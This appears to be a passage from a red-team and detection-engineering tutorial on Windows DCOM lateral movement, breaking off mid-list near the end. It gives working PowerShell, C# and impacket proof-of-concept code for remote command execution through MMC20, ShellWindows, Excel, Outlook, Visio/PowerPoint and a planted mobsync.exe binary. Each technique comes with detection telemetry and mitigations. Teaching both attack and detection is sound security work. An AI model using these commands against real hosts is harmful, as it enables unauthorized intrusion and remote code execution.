# 02 · DCOM Lateral Movement > **Audience / level:** Red team operators and detection engineers; no DCOM background assumed, ramping to advanced tradecraft. **Prerequisites:** basic Windows administration (registry, services, event logs), TCP/IP fundamentals, and PowerShell or C# literacy. **Estimated reading time:** 90–120 minutes. > After this chapter you will be able to explain DCOM remote activation packet-by-packet, execute commands on remote hosts through seven abusable COM object classes, pick the right tool for a given foothold, and predict exactly which telemetry each variant produces. **Contents** - [1. COM and DCOM in ten minutes](#1-com-and-dcom-in-ten-minutes) - [2. Activation over the wire](#2-activation-over-the-wire) - [3. Authentication and authorization](#3-authentication-and-authorization) - [4. Why DCOM is living off the land](#4-why-dcom-is-living-off-the-land) - [5. Abusable remote COM objects](#5-abusable-remote-com-objects) - [5.1 MMC20.Application](#51-mmc20application-remote-executeshellcommand) - [5.2 ShellWindows](#52-shellwindows-shellexecute-as-the-interactive-user) - [5.3 ShellBrowserWindow](#53-shellbrowserwindow-shellexecute-and-navigate) - [5.4 Excel.Application](#54-excelapplication-five-execution-primitives) - [5.5 Outlook.Application](#55-outlookapplication-createobject-plus-dotnettojscript) - [5.6 Visio and PowerPoint](#56-visio-and-powerpoint-add-in-loading) - [5.7 Abandoned DCOM binaries](#57-abandoned-dcom-binaries-mobsync-and-friends) - [5.8 Adjacent surfaces](#58-adjacent-surfaces-word-internet-explorer-lethalhta) - [6. Tooling](#6-tooling) - [7. Detection and OpSec](#7-detection-and-opsec) - [8. Hardening and the limits of KB5004442](#8-hardening-and-the-limits-of-kb5004442) - [Research Lab: Hunting New DCOM Lateral-Movement Primitives](#research-lab-hunting-new-dcom-lateral-movement-primitives) - [References](#references) --- ## 1. COM and DCOM in ten minutes The Component Object Model (COM) is Windows' local inter-process object model: a binary contract that lets one process instantiate and call objects implemented by another, with classes and interfaces identified by GUIDs. Distributed COM (DCOM) is the same object model remoted over the network. The transport is ORPC — Object RPC, Microsoft's extension of DCE/RPC carried over the `ncacn_ip_tcp` protocol sequence ([11]). > **Beginner note:** A **CLSID** (class identifier) is the GUID that names a COM class, for example `{49B2791A-B1AE-4C90-9B8E-E860BA07F889}`. A **ProgID** is a human-readable alias such as `MMC20.Application`. Both are registered under `HKCR\CLSID`; the registry tells the COM runtime which binary implements the class and how to start it. > **Beginner note:** An **AppID** is a second GUID, stored under `HKCR\AppID\{AppID}`, that groups classes for activation policy: which identity the server runs as (`RunAs`) and who may launch or activate it remotely (`LaunchPermission`). When you audit "DCOM permissions" you are auditing AppIDs, not CLSIDs. A remote activation from .NET is three lines. COM interop performs `CoCreateInstanceEx` with a `COSERVERINFO` structure for you — no P/Invoke required: ```powershell $Type = [Type]::GetTypeFromCLSID($clsid, $ComputerName) # or GetTypeFromProgID($ProgId, $ComputerName) $ComObject = [Activator]::CreateInstance($Type) ``` Under the hood, the runtime executes: ```cpp CoCreateInstanceEx(&clsid, pUnkOuter, CLSCTX_REMOTE_SERVER, pServerInfo /* COSERVERINFO */, n, rgiq); ``` `COSERVERINFO.pwszName` carries the target — and doubles as an authentication selector: a hostname or FQDN lets Kerberos work, while a bare IP address forces NTLMv2 (section 3). > **Key idea:** Everything in this chapter is a variation on one theme — find a class with a dangerous method, remote-activate it with `CoCreateInstanceEx`, then call the method over ORPC. The objects change; the plumbing never does. > **Legal:** Every technique here requires administrative credentials on the target and executes code on machines you do not own. Use only inside an authorized engagement with written scope; reproduce in your own lab VMs (the PoCs below keep the RFC1918 addresses from the original write-ups). --- ## 2. Activation over the wire When the three-line PowerShell snippet above runs against a remote host, this is what crosses the network, in order: 1. **Endpoint mapping (TCP 135).** The client connects to the target's RPC endpoint mapper (epmap) on TCP 135. This connection is short-lived. 2. **Class resolution.** The target's RPCSS service resolves the CLSID under `HKCR\CLSID` and locates the hosting binary and its AppID. 3. **Authorization check.** RPCSS evaluates the AppID's Launch/Activation permission (section 3) before starting anything. 4. **Server start.** On success, the DCOM service control manager — **DcomLaunch**, visible as `svchost.exe -k DcomLaunch` — starts the server process: `mmc.exe -Embedding`, `EXCEL.EXE /automation -Embedding`, or `DllHost.exe /Processid:{AppID}` for DLL-hosted classes. 5. **OXID resolution.** The client asks the object exporter (`IObjectExporter::ResolveOxid2`) which dynamic port the new object listens on: 49152–65535 on Vista and later, 1024–5000 on legacy systems. 6. **Method calls.** All subsequent traffic — `IDispatch::GetIDsOfNames` to resolve method names to DISPIDs, then `IDispatch::Invoke` with arguments — flows over that dynamic high port. > **Beginner note:** An **OXID** (object exporter identifier) is DCOM's handle for "the set of objects a server process exports"; resolving it is how the client learns the dynamic port. **IDispatch** is the late-binding interface that lets scripting clients and .NET `InvokeMember` call methods *by name*: `GetIDsOfNames("ShellExecute")` returns a DISPID, and `Invoke` executes it. Because calls are made by name, method strings cross the wire in readable form unless packet-privacy encryption is negotiated — a gift to network defenders (section 7). The activation call itself is handled by `IRemoteSCMActivator` (historically `ISystemActivator`) on the target — opnum 3 `RemoteGetClassObject` for class objects, opnum 4 `RemoteCreateInstance` for instances. Both opnums against TCP 135 are high-fidelity network indicators, particularly between workstations. ![Figure 1 — DCOM on the wire: activation, OXID resolution, and method calls](diagrams/d05-dcom-wire.png) *How to read this figure: follow the numbered arrows left to right — the client's `RemoteCreateInstance` to TCP 135, OXID resolution via `ResolveOxid2`, then method calls on the dynamic high port. The amber callout marks where an OXID-man-in-the-middle attack (the potato family) hijacks the flow.* --- ## 3. Authentication and authorization **DCOM is always authenticated.** There is no anonymous remote activation. Two protocol paths exist: | Path | Trigger | Server-side proof | Telemetry | |---|---|---|---| | Kerberos | Target given as hostname/FQDN | Service ticket for SPN `RPCSS/` | Security 4768/4769 (DC), 4624 Type 3 on target | | NTLMv2 | Target given as bare IP | NTLM challenge/response | 4624 Type 3 on target, 4648 on source for explicit creds | The 4624 Type 3 (network logon) on the target is unavoidable; 4672 (special privileges assigned) typically follows when the account is an admin. `PtH` (pass-the-hash) works over the NTLM path; membership in **Protected Users** blocks NTLM and therefore NTLM-based DCOM, while Kerberos DCOM remains possible. Tokens are single-hop: DCOM activation does not delegate, so you cannot bounce credentials onward from the pivot. For local testing, a loopback activation against `127.0.0.1` works — with ShellWindows it even runs in the interactive user's explorer context. **Authorization** is separate from authentication and happens per AppID. The `LaunchPermission` value (`REG_BINARY`) under `HKCR\AppID\{AppID}` holds an ACL; when absent, the machine-wide defaults configured in `dcomcnfg` apply. Out of the box, those defaults grant **Administrators Local + Remote Launch/Activation**. Critically, the three classic abused objects — MMC20, ShellWindows, ShellBrowserWindow — have **no explicit `LaunchPermission`**, so they inherit the default and local admin on the target is the practical requirement. Two identity caveats matter operationally: - The **Distributed COM Users** group exists to delegate DCOM access to non-admins but is usually empty. - **UAC remote token filtering** blocks non-RID-500 local accounts over the network unless `LocalAccountTokenFilterPolicy=1` is set; domain accounts placed in local Administrators are unaffected and work. > **OpSec:** Enumerate the surface before you touch it: `Get-CimInstance Win32_DCOMApplication` lists AppIDs and names, and OleViewDotNet audits the ACLs (filter `entry LaunchPermission == None` to find classes inheriting the default) ([23]). --- ## 4. Why DCOM is living off the land DCOM execution is prized in mature environments because it produces almost none of the artifacts defenders baseline for lateral movement: - **No service creation** — no Security 7045 event, no `services.exe` write. - **No scheduled task**, no run key, no persistence of any kind. - **No `ADMIN$` drop required** for the pure PowerShell/C# primitives — the payload travels as method arguments, not as a file (impacket's `dcomexec.py` is the exception: it writes output back over `ADMIN$`, section 6). - **No new listening port** on the target beyond the RPC dynamic-port plumbing that already exists. - **Execution rides signed Microsoft binaries** — `mmc.exe`, `EXCEL.EXE`, `OUTLOOK.EXE`, `explorer.exe` — using the same RPC plumbing as legitimate administration tools. The trade-off: DCOM primitives are **semi-interactive**. `ExecuteShellCommand` and `ShellExecute` return no stdout, so operators exfiltrate results out-of-band — redirect to a share (`/c whoami > \\share\o.txt`) or let impacket write to `\\127.0.0.1\ADMIN$` and read it back over SMB. Plan your channel before you fire the method. --- ## 5. Abusable remote COM objects Every object below is remote-activatable with default permissions and exposes at least one method that reaches command execution. The anatomy is always the same; only the host process and the method differ. ![Figure 2 — Anatomy of DCOM lateral movement](diagrams/d09-dcom-lateral.png) *How to read this figure: the attacker host (PowerShell or impacket) activates an object on the target over Kerberos/NTLM and TCP 135 + a dynamic port; RPCSS starts or attaches to the host process (`mmc.exe` here), and the method call spawns the payload as a child. Teal dashed callouts mark the defender's view: Sysmon 1 process lineage, Sysmon 3 inbound 135/high ports, and the absence of service installs or SMB drops.* | Object | CLSID | Host process | Extra requirement | Payload form | |---|---|---|---|---| | MMC20.Application | `{49B2791A-B1AE-4C90-9B8E-E860BA07F889}` | `mmc.exe -Embedding` | MMC firewall rule enabled | fileless command line | | ShellWindows | `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}` | existing `explorer.exe` | interactive session on target | fileless command line | | ShellBrowserWindow | `{C08AFD90-F2A1-11D1-8455-00A0C91F3880}` | existing `explorer.exe` | interactive session; Win10/2012R2+ | fileless command line or file path | | Excel.Application | `{00020812-0000-0000-C000-000000000046}` | `EXCEL.EXE /automation -Embedding` | Office installed | command line / DLL / XLM macro / planted binary | | Outlook.Application | `{0006F03A-0000-0000-C000-000000000046}` | `OUTLOOK.EXE -Embedding` | Outlook installed | fileless shellcode (DotNetToJScript) | | Visio / PowerPoint | via ProgID | `VISIO.EXE` / PowerPoint host | respective app installed | add-in file | | SyncInfrastructure (mobsync) | `{C947D50F-378E-4FF6-8835-FCB50305244D}` | planted `mobsync.exe` | target missing the binary; `ADMIN$` write | planted executable | ### 5.1 MMC20.Application (remote ExecuteShellCommand) **MITRE:** [T1021.003](https://attack.mitre.org/techniques/T1021/003/) · **Since:** enigma0x3, January 5, 2017 ([1]) · **Affects:** tested on Windows 7 / 10 / 2012R2 ([13]) The original DCOM lateral-movement primitive. The Microsoft Management Console automation object (`MMC20.Application`, AppID `{7E0423CD-1119-0928-900C-E6D4A52A0715}`) exposes the MMC snap-in object model to scripts, and buried at `Document.ActiveView` sits `ExecuteShellCommand` — a method that spawns an arbitrary process with a split program/parameters command line. enigma0x3's disclosure opened the entire research category ([1]). ![Figure 3 — MMC20.Application kill chain](diagrams/d10-mmc20-chain.png) *How to read this figure: the five numbered steps walk from `GetTypeFromCLSID` on the attacker host, through activation with admin credentials and the MMC object-model descent (`Application → Document → ActiveView`), to `ExecuteShellCommand` spawning the payload on the target.* #### Mechanics 1. Resolve the class on the target: `Type.GetTypeFromProgID("MMC20.Application", "192.168.99.132")` — under the hood `CoCreateInstanceEx` with `COSERVERINFO.pwszName` set to the target. 2. Authenticate as a local administrator (4624 Type 3 on the target; 4648 on the source for explicit creds). 3. RPCSS checks launch permissions — MMC20 has no explicit `LaunchPermission`, so the Administrators-friendly machine default applies — and DcomLaunch starts `mmc.exe -Embedding` as the authenticating user. 4. Walk the object model over ORPC: `Document` property → `ActiveView` property → `ExecuteShellCommand(Command, Directory, Parameters, WindowState)`. 5. `Command` is the program (`C:\Windows\System32\cmd.exe`), `Parameters` its arguments (`/c whoami > C:\temp\o.txt`), and `WindowState` `"7"` runs it minimized. The child process appears under `mmc.exe`. 6. Collect output out-of-band — redirect to a file/share, since the method returns no stdout. #### Prerequisites | Requirement | Detail | |---|---| | Privileges | Local administrator on the target (default launch ACL) | | Network | TCP 135 + one dynamic high port (49152–65535) inbound to the target | | Config | Inbound firewall rule "Microsoft Management Console" must be enabled — it is **blocked by default**, which stops this object on many hardened builds | | OS/build | Windows 7 / 10 / 2012R2 verified via impacket ([13]) | #### Proof of concept ```powershell $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.99.132")) $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\cmd.exe",$null,"/c whoami > C:\temp\o.txt","7") ``` ```csharp Type t = Type.GetTypeFromProgID("MMC20.Application", "192.168.1.10"); object com = Activator.CreateInstance(t); object doc = com.GetType().InvokeMember("Document", BindingFlags.GetProperty, null, com, null); object view = doc.GetType().InvokeMember("ActiveView", BindingFlags.GetProperty, null, doc, null); view.GetType().InvokeMember("ExecuteShellCommand", BindingFlags.InvokeMethod, null, view, new object[]{ "C:\\Windows\\System32\\cmd.exe", null, "/c whoami > C:\\temp\\o.txt", "7" }); ``` #### OpSec & detection - **Sysmon 1:** `svchost.exe -k DcomLaunch` → `mmc.exe -Embedding`, then a second-generation `mmc.exe` → `cmd.exe`/`powershell.exe`. The Sigma MMC20 rule keys exactly on this lineage (section 7) ([24]). - **Security 4624 Type 3** on the target for the DCOM logon; Microsoft Defender for Identity raises "Remote code execution attempt" for MMC20. - **Network:** `RemoteCreateInstance` (opnum 4) to 135, then `GetIDsOfNames("ExecuteShellCommand")` + `Invoke` with the full command line in cleartext at packet-integrity level (section 7). - **Reduce noise:** keep the whole payload in `Parameters` so `Image` stays `cmd.exe`; avoid staging files on the target so no Sysmon 11 fires. #### Mitigations - Keep the inbound "Microsoft Management Console" firewall rule disabled (default) and block workstation-to-workstation 135/dynamic ports. - Set an explicit `LaunchPermission` on AppID `{7E0423CD-1119-0928-900C-E6D4A52A0715}` denying remote launch (section 8), and alert on `mmc.exe` spawning child processes. ### 5.2 ShellWindows (ShellExecute as the interactive user) **MITRE:** [T1021.003](https://attack.mitre.org/techniques/T1021/003/) · **Since:** enigma0x3, "DCOM Round 2", January 23, 2017 ([2]) · **Affects:** tested on Windows 7 / 10 / 2012R2 ([13]) ShellWindows (CLSID `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}`, no ProgID, `LocalServer32` `rundll32.exe`) is registered with **RunAs: Interactive User** and piggybacks the already-running `explorer.exe` — activation attaches to the user's shell instead of starting a new COM host, so there is no `mmc.exe`-style spawn event. Through the `IShellDispatch2` interface it exposes `ShellExecute`, plus a toolchest of bonus methods: `ServiceStart`, `ServiceStop`, `IsServiceRunning`, `ShutDownWindows`, `GetSystemInformation` ([2]). It is the default object in impacket's `dcomexec.py` ([13]). ![Figure 4 — ShellWindows / ShellBrowserWindow chain](diagrams/d11-shellwindows-chain.png) *How to read this figure: the attacker activates ShellWindows on the target, but execution attaches to the logged-on user's `explorer.exe`; `.Item().Document.Application.ShellExecute("cmd.exe", ...)` spawns the payload as an explorer child. Note the requirement banner: an interactive session must exist on the target, and the payload runs as that logged-on user.* #### Mechanics 1. Remote-activate CLSID `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}` against the target with admin credentials. 2. Because of RunAs: Interactive User, the activation binds to the interactive session's `explorer.exe`; if no user is logged on, the technique fails. 3. Call `.Item()` to get a shell folder window object. 4. Descend `Document.Application` to reach `IShellDispatch2.ShellExecute(sFile, vArguments, vDirectory, vOperation, vShow)`. 5. `vShow` `0` hides the window; the payload starts as a **child of `explorer.exe`**, running as the logged-on user. 6. Output returns nothing — exfiltrate out-of-band as with MMC20. #### Prerequisites | Requirement | Detail | |---|---| | Privileges | Local administrator on the target (inherited default launch ACL) | | Session | An **interactive logon session must exist** on the target — RunAs: Interactive User binds to it | | Network | TCP 135 + dynamic high port inbound | | OS/build | Windows 7 / 10 / 2012R2 verified ([13]) | #### Proof of concept ```powershell $com = [Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.99.13") $obj = [System.Activator]::CreateInstance($com) $item = $obj.Item() $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0) ``` ```python # impacket dcomexec.py — ShellWindows is the default object dcomexec.py DOMAIN/admin:pass@192.168.1.10 "cmd.exe /c whoami > C:\\temp\\o.txt" dcomexec.py -object ShellWindows -hashes :NTHASH DOMAIN/admin@192.168.1.10 ``` #### OpSec & detection - **Sysmon 1:** no COM-host spawn; instead `explorer.exe` → `cmd.exe`, which is rarer and higher-signal on servers than on workstations. - **Network:** DCE/RPC `GetIDsOfNames("ShellExecute")` and the `Invoke` arguments cross in **cleartext at Packet-Integrity** — integrity protects against tampering, not disclosure; only Packet Privacy encrypts. - **Reduce noise:** no new host process and no `-Embedding` command line make this the quietest of the classic three on the process axis; the unavoidable artifacts are the 4624 Type 3 and the network-level method strings. #### Mitigations - Remove Remote Launch/Activation from Administrators in the machine-wide DCOM defaults (section 8) — ShellWindows has no explicit ACL to fall back on. - Alert on `explorer.exe` spawning command interpreters, especially on servers where users rarely log on interactively. --- ### 5.3 ShellBrowserWindow (ShellExecute and Navigate) **MITRE:** [T1021.003](https://attack.mitre.org/techniques/T1021/003/) · **Since:** enigma0x3 Round 2 ([2]); `Navigate` variant by bohops, March 17, 2018 ([7]) · **Affects:** Windows 10 / 2012R2 and later only — **absent on Windows 7**; impacket-verified on Win10/2012R2 ([13]) ShellBrowserWindow (CLSID `{C08AFD90-F2A1-11D1-8455-00A0C91F3880}`, no ProgID, RunAs: Interactive User) is the sibling of ShellWindows with two practical differences: the `ShellExecute` path needs no `.Item()` call (`Document.Application` is reachable directly), and the object also implements `IWebBrowser2`, giving `Navigate`/`Navigate2` — a file-path execution primitive that takes no command-line switches at all ([2][7]). #### Mechanics 1. Remote-activate `{C08AFD90-F2A1-11D1-8455-00A0C91F3880}`; as with ShellWindows, execution binds to the interactive user's session. 2. **ShellExecute path:** call `Document.Application.ShellExecute(...)` directly — same `IShellDispatch2` semantics as 5.2, one hop shorter. 3. **Navigate path:** call `Navigate("C:\path\payload.exe")` (or `Navigate2`) and the shell "opens" the target, executing it. 4. Navigate constraints, from bohops' testing: file paths only, **no command switches**; avoid `.hta` (triggers a prompt); avoid HTTP/S URLs (an IE window visibly pops); **UNC paths work** — stage the binary on a share and navigate to it. 5. Reliability caveat: Navigate/2 worked from Windows 10 against Server 2012 targets but **failed against Windows 10/2016 targets** in bohops' tests — treat it as version-sensitive and prefer ShellExecute ([7]). #### Prerequisites | Requirement | Detail | |---|---| | Privileges | Local administrator on the target | | Session | Interactive logon session on the target | | Network | TCP 135 + dynamic high port inbound | | OS/build | Windows 10 / 2012R2+; the class does not exist on Windows 7 | #### Proof of concept ```powershell # ShellExecute — no .Item() needed ([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))).Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0) # Navigate — file path or UNC only, no switches ([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))).Navigate("C:\path\payload.exe") ``` #### OpSec & detection - Identical lineage to ShellWindows (payload under `explorer.exe`), so process-based rules for 5.2 cover it; no separate COM-host artifact. - The Navigate variant produces **no child command line at all** — detection shifts to the file being opened (Sysmon 11 on the drop, or network/SMB telemetry for UNC fetches) and the IE-window side effects of bad scheme choices. - Method strings `Navigate`/`Navigate2` and `ShellExecute` are visible to DCE/RPC-aware network inspection (section 7). #### Mitigations - Same class-level controls as ShellWindows (default-ACL tightening, segmentation); on Windows 7 this object is a non-issue because the class is absent. ### 5.4 Excel.Application (five execution primitives) **MITRE:** [T1021.003](https://attack.mitre.org/techniques/T1021/003/) + [T1559.001](https://attack.mitre.org/techniques/T1559/001/) · **Since:** 2017–2023, five researchers/teams (below) · **Affects:** any Windows build with Office installed; variant (e) requires Windows 10/11 + Office 365 x64 Excel is the richest DCOM target ever published: remote activation starts `EXCEL.EXE /automation -Embedding` (a strong, high-signal artifact) and hands you an automation surface with at least five independent paths to execution. The shared CLSID is `{00020812-0000-0000-C000-000000000046}`; the host command line `/automation -Embedding` is common to all variants. > **Beginner note:** **DDE** (Dynamic Data Exchange) is a legacy inter-app messaging protocol Excel still supports; **XLM** is Excel's pre-VBA macro language, executable through `ExecuteExcel4Macro`; an **XLL** is a DLL-based Excel add-in loaded by path; `ActivateMicrosoftApp` is an automation method that launches sibling Office applications by numeric ID. #### (a) DDEInitiate — command line over DDE (Cybereason/Tsukerman, September 11, 2017) `DDEInitiate(App, Topic)` was meant to open a DDE channel to another application, but Excel helpfully *launches* the named executable when no DDE server exists. Constraints: `App` is capped at 8 characters and `.exe` is auto-appended (so pass `cmd`, not `cmd.exe`); `Topic` carries up to 1024 characters of arguments; set `DisplayAlerts=$false` to suppress prompts. The spawned process is a child of `EXCEL.EXE` ([5]). ```powershell $hb = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","192.168.126.134")) $hb.DisplayAlerts = $false $hb.DDEInitiate('cmd','/c powershell -enc ') ``` #### (b) RegisterXLL — DLL load by path (Ryan Hanson / Empire) `Application.RegisterXLL(dllPath)` registers an XLL add-in — but the load is performed with ordinary DLL semantics, so **`DllMain` executes regardless of file extension or exports**. A UNC path works, letting the payload DLL live on an attacker-controlled share rather than the target disk ([3]). Watch for Sysmon 7 (image load) of an `.xll` or unknown-module load into `EXCEL.EXE`. #### (c) Run() macro — staged .xlsm (enigma0x3) The straightforward route: copy a macro-enabled workbook (`.xlsm`) to the target, `Workbooks.Open` it remotely, then `$com.Run("MyMacro")` to invoke VBA inside the remote Excel ([3]). Reliable but touches disk (Sysmon 11 on the `.xlsm`). #### (d) ExecuteExcel4Macro — fileless XLM and in-process shellcode (Stan Hegt/Outflank; MDSec, September 2020) `ExecuteExcel4Macro` evaluates XLM macro strings directly — no workbook needed. `EXEC("calc.exe")` is the one-liner; the full MDSec chain achieves **shellcode injection inside the DCOM-spawned `excel.exe`** via `CALL("Kernel32","VirtualAlloc",...)` + `RtlMoveMemory` + `QueueUserAPC`, entirely fileless ([9]). Weaponized by SharpExcel4-DCOM (rvrsh3ll) ([18]). ```csharp Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST); object excel = Activator.CreateInstance(ComType); excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel, new object[] { "EXEC(\"calc.exe\")" }); ``` #### (e) ActivateMicrosoftApp — EOL binary proxy execution (SpecterOps, 2023) `ActivateMicrosoftApp(5|6|7)` launches end-of-life Office siblings (FoxPro, WinProj, Schedule+) — and resolves their binaries **via PATH search**. Plant a payload as `%LOCALAPPDATA%\Microsoft\WindowsApps\FOXPROW.exe` over `ADMIN$`, then activate index 5: Excel launches your binary under the EOL application's name. Requires Windows 10/11 with Office 365 x64 ([10]). #### Prerequisites | Requirement | Detail | |---|---| | Privileges | Local administrator on the target | | Software | Microsoft Office (Excel) installed — so workstations and VDI, rarely servers | | Network | TCP 135 + dynamic high port inbound | | Variant-specific | (e) needs `ADMIN$` write for the planted binary; (c) needs a staged `.xlsm` | #### OpSec & detection - **Sysmon 1:** `svchost.exe -k DcomLaunch` → `EXCEL.EXE /automation -Embedding`, then children of `EXCEL.EXE`. FalconFriday notes `/automation -Embedding` alone is noisy as an analytic — correlate with lineage and Office's non-interactive use ([25]). - **Sysmon 7:** `.xll` or unknown-DLL loads into `EXCEL.EXE` (RegisterXLL). - On servers, **non-interactive Office usage is close to a zero-false-positive signal** — prioritize it. - Excel's `DisplayAlerts=$false` and hidden windows reduce user-facing noise but do nothing against process telemetry. #### Mitigations - Do not install Office on servers; block Office child processes via application control/ASR rules. - DCOM default-ACL tightening (section 8) removes the remote-activation path for every variant at once. --- ### 5.5 Outlook.Application (CreateObject plus DotNetToJScript) **MITRE:** [T1021.003](https://attack.mitre.org/techniques/T1021/003/) + [T1559.001](https://attack.mitre.org/techniques/T1559/001/) · **Since:** enigma0x3, November 16, 2017 ([4]) · **Affects:** hosts with Microsoft Outlook installed Outlook's automation object (CLSID `{0006F03A-0000-0000-C000-000000000046}`, host `OUTLOOK.EXE -Embedding`) exposes `CreateObject` — a factory method that instantiates *arbitrary other COM objects inside the remote Outlook process*. Point it at `ScriptControl`, feed it JScript produced by DotNetToJScript, and you get **fileless shellcode execution on the remote host** with no payload on disk ([4]). #### Mechanics 1. Remote-activate `Outlook.Application` on the target (admin creds; `OUTLOOK.EXE -Embedding` starts). 2. Call `$object.CreateObject("ScriptControl")` — Outlook instantiates the ScriptControl COM object in-process. 3. Set `.Language = "JScript"` and call `.AddCode($code)` where `$code` is DotNetToJScript output wrapping a .NET assembly — typically a shellcode loader. 4. The JScript engine deserializes and runs the .NET payload inside `OUTLOOK.EXE`: fileless execution under a signed Microsoft binary. 5. Variants from the same post: `$object.CreateObject("Shell.Application").ShellExecute(...)` for direct command execution; `CreateObject("Wscript.Shell")` also works but drags in a `wshom.ocx` image-load IoC ([4]). #### Prerequisites | Requirement | Detail | |---|---| | Privileges | Local administrator on the target | | Software | Microsoft Outlook installed | | Network | TCP 135 + dynamic high port inbound | | Tooling | DotNetToJScript (or equivalent) to build the JScript payload | #### Proof of concept ```powershell $com = [Type]::GetTypeFromProgID('Outlook.Application','192.168.99.152') $object = [System.Activator]::CreateInstance($com) $RemoteScriptControl = $object.CreateObject("ScriptControl") $RemoteScriptControl.Language = "JScript" $RemoteScriptControl.AddCode($code) # $code = DotNetToJScript output -> fileless shellcode ``` #### OpSec & detection - **Sysmon 1:** `svchost.exe -k DcomLaunch` → `OUTLOOK.EXE -Embedding`; the payload runs *inside* Outlook, so there is no second-generation child — lineage detection must key on the anomalous Outlook spawn itself. - **Sysmon 7:** `wshom.ocx` load if the Wscript.Shell variant is used. - Payload is fileless, so disk-based telemetry (Sysmon 11/13) stays silent; ScriptControl usage is the choke point for app-control rules. #### Mitigations - Block `ScriptControl` (and `mshta`) via application control where not needed; alert on non-interactive `OUTLOOK.EXE -Embedding` spawns. - No Office/Outlook on servers; DCOM ACL hardening per section 8. ### 5.6 Visio and PowerPoint (add-in loading) **MITRE:** [T1021.003](https://attack.mitre.org/techniques/T1021/003/) · **Since:** Visio — Cybereason ([6]); PowerPoint — attactics.org, February 2018 ([20]) · **Affects:** hosts with Visio or PowerPoint installed The Office add-in model generalizes the RegisterXLL idea: several Office applications will load an arbitrary file as an "add-in" over DCOM, and the load executes code. #### Mechanics 1. **Visio:** remote-activate ProgID `Visio.Application` (or `Visio.InvisibleApp` for a windowless host) and call `Addons.Add(path)` — Visio loads **any executable** as an add-on; it runs as a child of `VISIO.EXE` ([6]). 2. **PowerPoint:** remote-activate `PowerPoint.Application` and call `AddIns.Add("c:\addin.ppam")` to register a VBA add-in whose macros execute ([20]). 3. In both cases a payload file must be staged first (share or target disk); `Invoke-DCOMPowerPointPivot.ps1` automates the PowerPoint route ([20]). #### Prerequisites | Requirement | Detail | |---|---| | Privileges | Local administrator on the target | | Software | Visio / PowerPoint installed | | Staging | Add-in file reachable by the target (UNC or local path) | | Network | TCP 135 + dynamic high port inbound | #### Proof of concept ```powershell # Visio — path may point at any executable (illustrative one-liner; see [6]) $v = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp","TARGET")) $v.Addons.Add("\\share\payload.exe") # PowerPoint — register a VBA add-in (illustrative one-liner; see [20]) $p = [activator]::CreateInstance([type]::GetTypeFromProgID("PowerPoint.Application","TARGET")) $p.AddIns.Add("c:\addin.ppam") ``` #### OpSec & detection - Child processes of `VISIO.EXE` / the PowerPoint host; Sysmon 11 on the staged `.ppam`/payload. - Same `/automation`-style non-interactive Office signal as Excel — near-zero false positives on servers. #### Mitigations - Application control over Office add-in loads; no Office on servers; DCOM ACL hardening (section 8). ### 5.7 Abandoned DCOM binaries (mobsync and friends) **MITRE:** [T1021.003](https://attack.mitre.org/techniques/T1021/003/) · **Since:** bohops, April 28, 2018 ([8]) · **Affects:** Windows 2008R2 / 2012R2 for the canonical mobsync case; the *pattern* applies wherever an orphaned registration survives A registry inversion of the usual technique: instead of finding a dangerous method, find a DCOM class whose `LocalServer32`/`InProcServer32` binary **does not exist on the target**, plant a payload at that path, and remote-activate the class. DcomLaunch obligingly starts your binary as the server. The canonical case is `mobsync.exe` — present in the registry but absent on disk on 2008R2/2012R2 — registered as the SyncInfrastructure class, CLSID `{C947D50F-378E-4FF6-8835-FCB50305244D}` ([8]). #### Mechanics 1. Identify an abandoned registration (the Research Lab section gives a hunting recipe; third-party uninstall leftovers qualify too — bohops lists `IntelCpHDCPSvc.exe`, AppID `{84081F6F-8B2D-4FFE-AF7F-E72D488FABEB}`). 2. Copy the payload to the registered path: `copy evil.exe \\target\admin$\system32\mobsync.exe`. 3. Remote-activate `{C947D50F-378E-4FF6-8835-FCB50305244D}`. DcomLaunch starts `mobsync.exe` — your payload. 4. The client receives `0x80080005` (`CO_E_SERVER_EXEC_FAILURE`) because the binary never registers a class object — **the payload runs anyway**. Treat the error as expected, not as failure. #### Prerequisites | Requirement | Detail | |---|---| | Privileges | Local administrator on the target; write access to the registered path (`ADMIN$`) | | OS/build | `mobsync.exe` absent on 2008R2/2012R2 — verify per-target (other abandoned paths vary by build) | | Network | TCP 135 + dynamic high port, plus SMB 445 for the plant | #### Proof of concept ```powershell copy evil.exe \\target\admin$\system32\mobsync.exe [activator]::CreateInstance([type]::GetTypeFromCLSID("C947D50F-378E-4FF6-8835-FCB50305244D","target")) ``` #### OpSec & detection - **System log, DistributedCOM 10010** — " did not register with DCOM within the required timeout" — is the signature event; it fires *because* the payload never registers. - **Sysmon 11/13:** the `mobsync.exe` file write itself; a `mobsync.exe` process on a server is inherently suspicious. - This variant **does** touch disk (unlike the pure primitives), trading stealth for reliability on older builds. #### Mitigations - Prune orphaned COM registrations; baseline `LocalServer32` paths and alert on binaries appearing at registered-but-previously-missing paths. - Watch DistributedCOM 10010 — it has a low baseline and a precise meaning. ### 5.8 Adjacent surfaces (Word, Internet Explorer, LethalHTA) - **Word:** remote DDE was **unverified** in Cybereason's testing — only Excel responded; the macro route (`Run` analog) is plausible but unconfirmed. Mark: *(verify in lab)* before relying on it ([6]). - **InternetExplorer.Application** (`{0002DF01-0000-0000-C000-000000000046}`) is constrained by IE protected mode; the community-standard alternative is bohops' `Navigate` via ShellBrowserWindow (5.3). A Sigma rule exists for the "DCOM InternetExplorer.Application iertutil DLL hijack" variant, and Sysmon 7 catches `iertutil.dll` loading from a non-system path ([2][7]). - **LethalHTA** (codewhitesec, July 